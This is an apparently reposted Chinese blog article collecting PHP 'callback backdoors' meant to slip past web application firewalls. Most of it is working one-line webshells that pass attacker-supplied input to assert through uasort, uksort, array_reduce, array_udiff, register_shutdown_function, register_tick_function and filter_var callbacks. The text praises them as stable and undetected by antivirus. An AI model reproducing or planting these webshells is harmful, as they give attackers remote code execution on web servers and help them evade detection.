bypass各种waf--php回调后门

Posted 南岸青栀*

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bypass各种waf--php回调后门相关的知识,希望对你有一定的参考价值。

文章目录

bypass各种waf–php回调后门

一般过狗思路

call_user_func('assert', $_REQUEST['pass'])

双参数回调后门

uasort

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));


由此方法引申出的姿势有:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

还有两种面向对象的方法

<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

array_reduce


<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

也就是说指定了$_POST作为处理开始时的初始值,然后执行assert(phpinfo()).

array_udiff


<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以还是单参数后门,在各个版本都比较好驾驭。

给出几个好用不杀的回调后门

这个是php全版本支持的,且不报不杀稳定执行:

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);


再来一个:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

注册一个函数,以便在每个标记上执行
再来两个:

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

参考链接:

https://www.cnblogs.com/-qing-/p/10820209.html

以上是关于bypass各种waf--php回调后门的主要内容,如果未能解决你的问题,请参考以下文章

PHP 回调后门笔记

PHP后门之冷门回调函数(过waf)

Android逆向进阶—— 脱壳的奥义(基ART模式下的dump)

Bypass_Disable_functions_Shell

xss bypass 学习记录

表弟让整理的各种一句话后门= =